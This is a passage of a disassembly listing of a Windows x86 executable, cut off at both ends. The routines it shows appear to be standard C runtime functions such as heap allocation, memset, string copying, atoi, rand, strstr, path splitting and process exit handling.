		add	esp, 0Ch
		retn
sub_41BC92	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BCA5	proc near		; CODE XREF: sub_4010C2+6p
					; sub_40AA3C+5Fp ...

arg_0		= dword	ptr  4

		push	dword_4DE0B4
		push	[esp+4+arg_0]
		call	sub_41BCB7
		pop	ecx
		pop	ecx
		retn
sub_41BCA5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BCB7	proc near		; CODE XREF: sub_41BCA5+Ap
					; sub_41D795+6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFE0h
		ja	short loc_41BCE0


loc_41BCBE:				; CODE XREF: sub_41BCB7+27j
		push	[esp+arg_0]
		call	sub_41BCE3
		test	eax, eax
		pop	ecx
		jnz	short locret_41BCE2
		cmp	[esp+arg_4], eax
		jz	short locret_41BCE2
		push	[esp+arg_0]
		call	sub_41FB12
		test	eax, eax
		pop	ecx
		jnz	short loc_41BCBE


loc_41BCE0:				; CODE XREF: sub_41BCB7+5j
		xor	eax, eax

locret_41BCE2:				; CODE XREF: sub_41BCB7+13j
					; sub_41BCB7+19j
		retn
sub_41BCB7	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BCE3	proc near		; CODE XREF: sub_41BCB7+Bp

arg_0		= dword	ptr  4

		mov	eax, dword_4DF6C8
		push	esi
		mov	esi, [esp+4+arg_0]
		cmp	eax, 3
		jnz	short loc_41BD07
		cmp	esi, dword_4DF6C0
		ja	short loc_41BD39
		push	esi
		call	sub_41E9CB
		test	eax, eax
		pop	ecx
		jz	short loc_41BD39
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41BD07:				; CODE XREF: sub_41BCE3+Dj
		cmp	eax, 2
		jnz	short loc_41BD39
		mov	eax, [esp+4+arg_0]
		test	eax, eax
		jz	short loc_41BD1C
		lea	esi, [eax+0Fh]
		and	esi, 0FFFFFFF0h
		jmp	short loc_41BD1F
; ---------------------------------------------------------------------------


loc_41BD1C:				; CODE XREF: sub_41BCE3+2Fj
		push	10h
		pop	esi


loc_41BD1F:				; CODE XREF: sub_41BCE3+37j
		cmp	esi, dword_43EFE4
		ja	short loc_41BD46
		mov	eax, esi
		shr	eax, 4
		push	eax
		call	sub_41F46E
		test	eax, eax
		pop	ecx
		jnz	short loc_41BD55
		jmp	short loc_41BD46
; ---------------------------------------------------------------------------


loc_41BD39:				; CODE XREF: sub_41BCE3+15j
					; sub_41BCE3+20j ...
		test	esi, esi
		jnz	short loc_41BD40
		push	1
		pop	esi


loc_41BD40:				; CODE XREF: sub_41BCE3+58j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h


loc_41BD46:				; CODE XREF: sub_41BCE3+42j
					; sub_41BCE3+54j
		push	esi
		push	0
		push	dword_4DF6C4
		call	dword_428148	; RtlAllocateHeap


loc_41BD55:				; CODE XREF: sub_41BCE3+52j
		pop	esi
		retn
sub_41BCE3	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BD60	proc near		; CODE XREF: sub_401132+3Cp
					; sub_401132+4Ap ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_8]
		mov	ecx, [esp+arg_0]
		test	edx, edx
		jz	short loc_41BDB3
		xor	eax, eax
		mov	al, [esp+arg_4]
		push	edi
		mov	edi, ecx
		cmp	edx, 4
		jb	short loc_41BDA7
		neg	ecx
		and	ecx, 3
		jz	short loc_41BD89
		sub	edx, ecx


loc_41BD83:				; CODE XREF: sub_41BD60+27j
		mov	[edi], al
		inc	edi
		dec	ecx
		jnz	short loc_41BD83


loc_41BD89:				; CODE XREF: sub_41BD60+1Fj
		mov	ecx, eax
		shl	eax, 8
		add	eax, ecx
		mov	ecx, eax
		shl	eax, 10h
		add	eax, ecx
		mov	ecx, edx
		and	edx, 3
		shr	ecx, 2
		jz	short loc_41BDA7
		rep stosd
		test	edx, edx
		jz	short loc_41BDAD


loc_41BDA7:				; CODE XREF: sub_41BD60+18j
					; sub_41BD60+3Fj ...
		mov	[edi], al
		inc	edi
		dec	edx
		jnz	short loc_41BDA7


loc_41BDAD:				; CODE XREF: sub_41BD60+45j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41BDB3:				; CODE XREF: sub_41BD60+Aj
		mov	eax, [esp+arg_0]
		retn
sub_41BD60	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BDC0	proc near		; CODE XREF: sub_401252+4F4p
					; sub_401252+510p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	short loc_41BE43
		push	esi
		push	ebx
		mov	ebx, ecx
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		mov	edi, [esp+0Ch+arg_0]
		jnz	short loc_41BDE4
		shr	ecx, 2
		jnz	short loc_41BE51
		jmp	short loc_41BE05
; ---------------------------------------------------------------------------


loc_41BDE4:				; CODE XREF: sub_41BDC0+1Bj
					; sub_41BDC0+37j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	short loc_41BE12
		test	al, al
		jz	short loc_41BE1A
		test	esi, 3
		jnz	short loc_41BDE4
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41BE51


loc_41BE00:				; CODE XREF: sub_41BDC0+8Fj
		and	ebx, 3
		jz	short loc_41BE12


loc_41BE05:				; CODE XREF: sub_41BDC0+22j
					; sub_41BDC0+50j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		test	al, al
		jz	short loc_41BE3E
		dec	ebx
		jnz	short loc_41BE05


loc_41BE12:				; CODE XREF: sub_41BDC0+2Bj
					; sub_41BDC0+43j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41BE1A:				; CODE XREF: sub_41BDC0+2Fj
		test	edi, 3
		jz	short loc_41BE34


loc_41BE22:				; CODE XREF: sub_41BDC0+72j
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	loc_41BEB6
		test	edi, 3
		jnz	short loc_41BE22


loc_41BE34:				; CODE XREF: sub_41BDC0+60j
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41BEA7


loc_41BE3B:				; CODE XREF: sub_41BDC0+7Fj
					; sub_41BDC0+F4j
		mov	[edi], al
		inc	edi


loc_41BE3E:				; CODE XREF: sub_41BDC0+4Dj
		dec	ebx
		jnz	short loc_41BE3B
		pop	ebx
		pop	esi


loc_41BE43:				; CODE XREF: sub_41BDC0+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41BE49:				; CODE XREF: sub_41BDC0+A9j
					; sub_41BDC0+C1j
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_41BE00


loc_41BE51:				; CODE XREF: sub_41BDC0+20j
					; sub_41BDC0+3Ej
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_41BE49
		test	dl, dl
		jz	short loc_41BE9B
		test	dh, dh
		jz	short loc_41BE91
		test	edx, 0FF0000h
		jz	short loc_41BE87
		test	edx, 0FF000000h
		jnz	short loc_41BE49
		mov	[edi], edx
		jmp	short loc_41BE9F
; ---------------------------------------------------------------------------


loc_41BE87:				; CODE XREF: sub_41BDC0+B9j
		and	edx, 0FFFFh
		mov	[edi], edx
		jmp	short loc_41BE9F
; ---------------------------------------------------------------------------


loc_41BE91:				; CODE XREF: sub_41BDC0+B1j
		and	edx, 0FFh
		mov	[edi], edx
		jmp	short loc_41BE9F
; ---------------------------------------------------------------------------


loc_41BE9B:				; CODE XREF: sub_41BDC0+ADj
		xor	edx, edx
		mov	[edi], edx


loc_41BE9F:				; CODE XREF: sub_41BDC0+C5j
					; sub_41BDC0+CFj ...
		add	edi, 4
		xor	eax, eax
		dec	ecx
		jz	short loc_41BEB1


loc_41BEA7:				; CODE XREF: sub_41BDC0+79j
		xor	eax, eax


loc_41BEA9:				; CODE XREF: sub_41BDC0+EFj
		mov	[edi], eax
		add	edi, 4
		dec	ecx
		jnz	short loc_41BEA9


loc_41BEB1:				; CODE XREF: sub_41BDC0+E5j
		and	ebx, 3
		jnz	short loc_41BE3B


loc_41BEB6:				; CODE XREF: sub_41BDC0+66j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_41BDC0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BEBE	proc near		; CODE XREF: sub_41BF49+4p
					; sub_42501C+1A2p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]


loc_41BEC6:				; CODE XREF: sub_41BEBE+34j
		cmp	dword_43F1F4, 1
		jle	short loc_41BEDE
		movzx	eax, byte ptr [edi]
		push	8
		push	eax
		call	sub_41FD15
		pop	ecx
		pop	ecx
		jmp	short loc_41BEED
; ---------------------------------------------------------------------------


loc_41BEDE:				; CODE XREF: sub_41BEBE+Fj
		movzx	eax, byte ptr [edi]
		mov	ecx, off_43EFE8
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_41BEED:				; CODE XREF: sub_41BEBE+1Ej
		test	eax, eax
		jz	short loc_41BEF4
		inc	edi
		jmp	short loc_41BEC6
; ---------------------------------------------------------------------------


loc_41BEF4:				; CODE XREF: sub_41BEBE+31j
		movzx	esi, byte ptr [edi]
		inc	edi
		cmp	esi, 2Dh
		mov	ebp, esi
		jz	short loc_41BF04
		cmp	esi, 2Bh
		jnz	short loc_41BF08


loc_41BF04:				; CODE XREF: sub_41BEBE+3Fj
		movzx	esi, byte ptr [edi]
		inc	edi


loc_41BF08:				; CODE XREF: sub_41BEBE+44j
		xor	ebx, ebx


loc_41BF0A:				; CODE XREF: sub_41BEBE+7Bj
		cmp	dword_43F1F4, 1
		jle	short loc_41BF1F
		push	4
		push	esi
		call	sub_41FD15
		pop	ecx
		pop	ecx
		jmp	short loc_41BF2A
; ---------------------------------------------------------------------------


loc_41BF1F:				; CODE XREF: sub_41BEBE+53j
		mov	eax, off_43EFE8
		mov	al, [eax+esi*2]
		and	eax, 4


loc_41BF2A:				; CODE XREF: sub_41BEBE+5Fj
		test	eax, eax
		jz	short loc_41BF3B
		lea	eax, [ebx+ebx*4]
		lea	ebx, [esi+eax*2-30h]
		movzx	esi, byte ptr [edi]
		inc	edi
		jmp	short loc_41BF0A
; ---------------------------------------------------------------------------


loc_41BF3B:				; CODE XREF: sub_41BEBE+6Ej
		cmp	ebp, 2Dh
		mov	eax, ebx
		jnz	short loc_41BF44
		neg	eax


loc_41BF44:				; CODE XREF: sub_41BEBE+82j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41BEBE	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BF49	proc near		; CODE XREF: sub_401252+2F7p
					; sub_401B66+6A9p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41BEBE
		pop	ecx
		retn
sub_41BF49	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BF54	proc near		; CODE XREF: .packed:0041E1C6p
		mov	eax, off_43CF8C
		test	eax, eax
		jz	short loc_41BF5F
		call	eax ; sub_41CF18


loc_41BF5F:				; CODE XREF: sub_41BF54+7j
		push	offset dword_42A034
		push	offset dword_42A020
		call	sub_41C03C
		push	offset dword_42A01C
		push	offset dword_42A000
		call	sub_41C03C
		add	esp, 10h
		retn
sub_41BF54	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BF81	proc near		; CODE XREF: .packed:0041E205p

arg_0		= dword	ptr  4

		push	0
		push	0
		push	[esp+8+arg_0]
		call	sub_41BFA3
		add	esp, 0Ch
		retn
sub_41BF81	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BF92	proc near		; CODE XREF: .packed:0041E224p
					; sub_41E229+1Cp ...

arg_0		= dword	ptr  4

		push	0
		push	1
		push	[esp+8+arg_0]
		call	sub_41BFA3
		add	esp, 0Ch
		retn
sub_41BF92	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BFA3	proc near		; CODE XREF: sub_41BF81+8p
					; sub_41BF92+8p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		push	1
		pop	edi
		cmp	dword_4DE074, edi
		jnz	short loc_41BFC0
		push	[esp+4+arg_0]
		call	dword_4280FC	; GetCurrentProcess
		push	eax
		call	dword_4280F4	; TerminateProcess


loc_41BFC0:				; CODE XREF: sub_41BFA3+Aj
		cmp	[esp+4+arg_4], 0
		push	ebx
		mov	ebx, [esp+8+arg_8]
		mov	dword_4DE070, edi
		mov	byte_4DE06C, bl
		jnz	short loc_41C014
		mov	eax, dword_4DF6DC
		test	eax, eax
		jz	short loc_41C003
		mov	ecx, dword_4DF6D8
		push	esi
		lea	esi, [ecx-4]
		cmp	esi, eax
		jb	short loc_41C002


loc_41BFEF:				; CODE XREF: sub_41BFA3+5Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41BFF7
		call	eax


loc_41BFF7:				; CODE XREF: sub_41BFA3+50j
		sub	esi, 4
		cmp	esi, dword_4DF6DC
		jnb	short loc_41BFEF


loc_41C002:				; CODE XREF: sub_41BFA3+4Aj
		pop	esi


loc_41C003:				; CODE XREF: sub_41BFA3+3Cj
		push	offset dword_42A040
		push	offset dword_42A038
		call	sub_41C03C
		pop	ecx
		pop	ecx


loc_41C014:				; CODE XREF: sub_41BFA3+33j
		push	offset dword_42A04C
		push	offset dword_42A044
		call	sub_41C03C
		pop	ecx
		pop	ecx
		test	ebx, ebx
		pop	ebx
		jnz	short loc_41C03A
		push	[esp+4+arg_0]
		mov	dword_4DE074, edi
		call	dword_428068	; ExitProcess


loc_41C03A:				; CODE XREF: sub_41BFA3+85j
		pop	edi
		retn
sub_41BFA3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C03C	proc near		; CODE XREF: sub_41BF54+15p
					; sub_41BF54+24p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]


loc_41C041:				; CODE XREF: sub_41C03C+16j
		cmp	esi, [esp+4+arg_4]
		jnb	short loc_41C054
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41C04F
		call	eax


loc_41C04F:				; CODE XREF: sub_41C03C+Fj
		add	esi, 4
		jmp	short loc_41C041
; ---------------------------------------------------------------------------


loc_41C054:				; CODE XREF: sub_41C03C+9j
		pop	esi
		retn
sub_41C03C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C056	proc near		; CODE XREF: sub_401252+18Fp
					; sub_401252+286p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		lea	eax, [ebp+arg_8]
		mov	[ebp+var_14], 42h
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 7FFFFFFFh
		push	eax
		call	sub_41FE9F
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41C096
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41C0A3
; ---------------------------------------------------------------------------


loc_41C096:				; CODE XREF: sub_41C056+36j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41FD8A
		pop	ecx
		pop	ecx


loc_41C0A3:				; CODE XREF: sub_41C056+3Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41C056	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C0A8	proc near		; CODE XREF: sub_401252+45p
					; sub_401B66+316Ep ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_43CF70, eax
		retn
sub_41C0A8	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C0B2	proc near		; CODE XREF: sub_401252:loc_4013AAp
					; sub_401252+4DBp ...
		mov	eax, dword_43CF70
		imul	eax, 343FDh
		add	eax, 269EC3h
		mov	dword_43CF70, eax
		sar	eax, 10h
		and	eax, 7FFFh
		retn
sub_41C0B2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C0D0	proc near		; CODE XREF: sub_401252+12Dp
					; sub_401B66+8Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	edi
		push	ebx
		push	esi
		mov	dl, [ecx]
		mov	edi, [esp+0Ch+arg_0]
		test	dl, dl
		jz	short loc_41C14A
		mov	dh, [ecx+1]
		test	dh, dh
		jz	short loc_41C137


loc_41C0E8:				; CODE XREF: sub_41C0D0+52j
					; sub_41C0D0+65j
		mov	esi, edi
		mov	ecx, [esp+0Ch+arg_4]
		mov	al, [edi]
		inc	esi
		cmp	al, dl
		jz	short loc_41C10A
		test	al, al
		jz	short loc_41C104


loc_41C0F9:				; CODE XREF: sub_41C0D0+32j
		mov	al, [esi]
		inc	esi


loc_41C0FC:				; CODE XREF: sub_41C0D0+3Fj
		cmp	al, dl
		jz	short loc_41C10A
		test	al, al
		jnz	short loc_41C0F9


loc_41C104:				; CODE XREF: sub_41C0D0+27j
		pop	esi
		pop	ebx
		pop	edi
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41C10A:				; CODE XREF: sub_41C0D0+23j
					; sub_41C0D0+2Ej
		mov	al, [esi]
		inc	esi
		cmp	al, dh
		jnz	short loc_41C0FC
		lea	edi, [esi-1]


loc_41C114:				; CODE XREF: sub_41C0D0+63j
		mov	ah, [ecx+2]
		test	ah, ah
		jz	short loc_41C143
		mov	al, [esi]
		add	esi, 2
		cmp	al, ah
		jnz	short loc_41C0E8
		mov	al, [ecx+3]
		test	al, al
		jz	short loc_41C143
		mov	ah, [esi-1]
		add	ecx, 2
		cmp	al, ah
		jz	short loc_41C114
		jmp	short loc_41C0E8
; ---------------------------------------------------------------------------


loc_41C137:				; CODE XREF: sub_41C0D0+16j
		xor	eax, eax
		pop	esi
		pop	ebx
		pop	edi
		mov	al, dl
		jmp	loc_41C786
; ---------------------------------------------------------------------------


loc_41C143:				; CODE XREF: sub_41C0D0+49j
					; sub_41C0D0+59j
		lea	eax, [edi-1]
		pop	esi
		pop	ebx
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C14A:				; CODE XREF: sub_41C0D0+Fj
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
sub_41C0D0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C150	proc near		; CODE XREF: sub_401252+11Ap
					; sub_401B66+1B9Cp ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_14], 42h
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_8]
		push	eax
		call	sub_41FE9F
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41C18F
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41C19C
; ---------------------------------------------------------------------------


loc_41C18F:				; CODE XREF: sub_41C150+35j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41FD8A
		pop	ecx
		pop	ecx


loc_41C19C:				; CODE XREF: sub_41C150+3Dj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41C150	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C1A1	proc near		; CODE XREF: sub_401252+FAp
					; sub_401B66+20EEp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_41B7B0
		cmp	eax, 1
		pop	ecx
		jb	short loc_41C1DC
		cmp	byte ptr [ebx+1], 3Ah
		jnz	short loc_41C1DC
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jz	short loc_41C1D8
		push	2
		push	ebx
		push	esi
		call	sub_420A89
		add	esp, 0Ch
		and	byte ptr [esi+2], 0


loc_41C1D8:				; CODE XREF: sub_41C1A1+25j
		inc	ebx
		inc	ebx
		jmp	short loc_41C1E6
; ---------------------------------------------------------------------------


loc_41C1DC:				; CODE XREF: sub_41C1A1+18j
					; sub_41C1A1+1Ej
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_41C1E6
		and	byte ptr [eax],	0


loc_41C1E6:				; CODE XREF: sub_41C1A1+39j
					; sub_41C1A1+40j
		and	[ebp+arg_4], 0
		cmp	byte ptr [ebx],	0
		mov	eax, ebx
		mov	esi, 0FFh
		mov	[ebp+arg_0], eax
		jz	short loc_41C25E


loc_41C1F9:				; CODE XREF: sub_41C1A1+87j
		mov	cl, [eax]
		movzx	edx, cl
		test	byte_4DF5A1[edx], 4
		jz	short loc_41C20A
		inc	eax
		jmp	short loc_41C224
; ---------------------------------------------------------------------------


loc_41C20A:				; CODE XREF: sub_41C1A1+64j
		cmp	cl, 2Fh
		jz	short loc_41C21E
		cmp	cl, 5Ch
		jz	short loc_41C21E
		cmp	cl, 2Eh
		jnz	short loc_41C224
		mov	[ebp+var_4], eax
		jmp	short loc_41C224
; ---------------------------------------------------------------------------


loc_41C21E:				; CODE XREF: sub_41C1A1+6Cj
					; sub_41C1A1+71j
		lea	ecx, [eax+1]
		mov	[ebp+arg_4], ecx


loc_41C224:				; CODE XREF: sub_41C1A1+67j
					; sub_41C1A1+76j ...
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_41C1F9
		mov	edi, [ebp+arg_4]
		mov	[ebp+arg_0], eax
		test	edi, edi
		jz	short loc_41C25E
		cmp	[ebp+arg_8], 0
		jz	short loc_41C259
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_41C242
		mov	edi, esi


loc_41C242:				; CODE XREF: sub_41C1A1+9Dj
		push	edi
		push	ebx
		push	[ebp+arg_8]
		call	sub_420A89
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]


loc_41C259:				; CODE XREF: sub_41C1A1+97j
		mov	ebx, [ebp+arg_4]
		jmp	short loc_41C268
; ---------------------------------------------------------------------------


loc_41C25E:				; CODE XREF: sub_41C1A1+56j
					; sub_41C1A1+91j
		mov	ecx, [ebp+arg_8]
		test	ecx, ecx
		jz	short loc_41C268
		and	byte ptr [ecx],	0


loc_41C268:				; CODE XREF: sub_41C1A1+BBj
					; sub_41C1A1+C2j
		mov	edi, [ebp+var_4]
		test	edi, edi
		jz	short loc_41C2BB
		cmp	edi, ebx
		jb	short loc_41C2BB
		cmp	[ebp+arg_C], 0
		jz	short loc_41C298
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_41C281
		mov	edi, esi


loc_41C281:				; CODE XREF: sub_41C1A1+DCj
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_420A89
		mov	eax, [ebp+arg_C]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]


loc_41C298:				; CODE XREF: sub_41C1A1+D6j
		mov	edi, [ebp+arg_10]
		test	edi, edi
		jz	short loc_41C2E3
		sub	eax, [ebp+var_4]
		cmp	eax, esi
		jnb	short loc_41C2A8
		mov	esi, eax


loc_41C2A8:				; CODE XREF: sub_41C1A1+103j
		push	esi
		push	[ebp+var_4]
		push	edi
		call	sub_420A89
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0
		jmp	short loc_41C2E3
; ---------------------------------------------------------------------------


loc_41C2BB:				; CODE XREF: sub_41C1A1+CCj
					; sub_41C1A1+D0j
		mov	edi, [ebp+arg_C]
		test	edi, edi
		jz	short loc_41C2D9
		sub	eax, ebx
		cmp	eax, esi
		jnb	short loc_41C2CA
		mov	esi, eax


loc_41C2CA:				; CODE XREF: sub_41C1A1+125j
		push	esi
		push	ebx
		push	edi
		call	sub_420A89
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0


loc_41C2D9:				; CODE XREF: sub_41C1A1+11Fj
		mov	eax, [ebp+arg_10]
		test	eax, eax
		jz	short loc_41C2E3
		and	byte ptr [eax],	0


loc_41C2E3:				; CODE XREF: sub_41C1A1+FCj
					; sub_41C1A1+118j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41C1A1	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41C2F0	proc near		; CODE XREF: sub_4019F7+8p
					; sub_401B66+8p ...

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_41C310


loc_41C2FC:				; CODE XREF: sub_41C2F0+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_41C2FC


loc_41C310:				; CODE XREF: sub_41C2F0+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_41C2F0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C31F	proc near		; CODE XREF: sub_401B66+7438p
					; sub_401B66+7465p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	edi
		mov	edi, ebx
		jg	short loc_41C333
		xor	eax, eax
		jmp	short loc_41C369
; ---------------------------------------------------------------------------


loc_41C333:				; CODE XREF: sub_41C31F+Ej
		dec	[ebp+arg_4]
		push	esi
		jz	short loc_41C363
		mov	esi, [ebp+arg_8]


loc_41C33C:				; CODE XREF: sub_41C31F+42j
		dec	dword ptr [esi+4]
		js	short loc_41C34B
		mov	ecx, [esi]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		jmp	short loc_41C352
; ---------------------------------------------------------------------------


loc_41C34B:				; CODE XREF: sub_41C31F+20j
		push	esi
		call	sub_41F843
		pop	ecx


loc_41C352:				; CODE XREF: sub_41C31F+2Aj
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41C36D
		mov	[edi], al
		inc	edi
		cmp	al, 0Ah
		jz	short loc_41C363
		dec	[ebp+arg_4]
		jnz	short loc_41C33C


loc_41C363:				; CODE XREF: sub_41C31F+18j
					; sub_41C31F+3Dj ...
		and	byte ptr [edi],	0


loc_41C366:				; CODE XREF: sub_41C31F+55j
		mov	eax, ebx
		pop	esi


loc_41C369:				; CODE XREF: sub_41C31F+12j
		pop	edi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41C36D:				; CODE XREF: sub_41C31F+36j
		cmp	edi, [ebp+arg_0]
		jnz	short loc_41C363
		xor	ebx, ebx
		jmp	short loc_41C366
sub_41C31F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C376	proc near		; CODE XREF: sub_41E48A+11Bp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	0
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41C38D
		add	esp, 10h
		retn
sub_41C376	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C38D	proc near		; CODE XREF: sub_41C376+Ep
					; sub_41C595+Ep

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		and	[ebp+var_8], 0
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	bl, [edi]
		lea	esi, [edi+1]
		mov	[ebp+var_4], esi


loc_41C3A5:				; CODE XREF: sub_41C38D+46j
		cmp	dword_43F1F4, 1
		jle	short loc_41C3BD
		movzx	eax, bl
		push	8
		push	eax
		call	sub_41FD15
		pop	ecx
		pop	ecx
		jmp	short loc_41C3CC
; ---------------------------------------------------------------------------


loc_41C3BD:				; CODE XREF: sub_41C38D+1Fj
		mov	ecx, off_43EFE8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_41C3CC:				; CODE XREF: sub_41C38D+2Ej
		test	eax, eax
		jz	short loc_41C3D5
		mov	bl, [esi]
		inc	esi
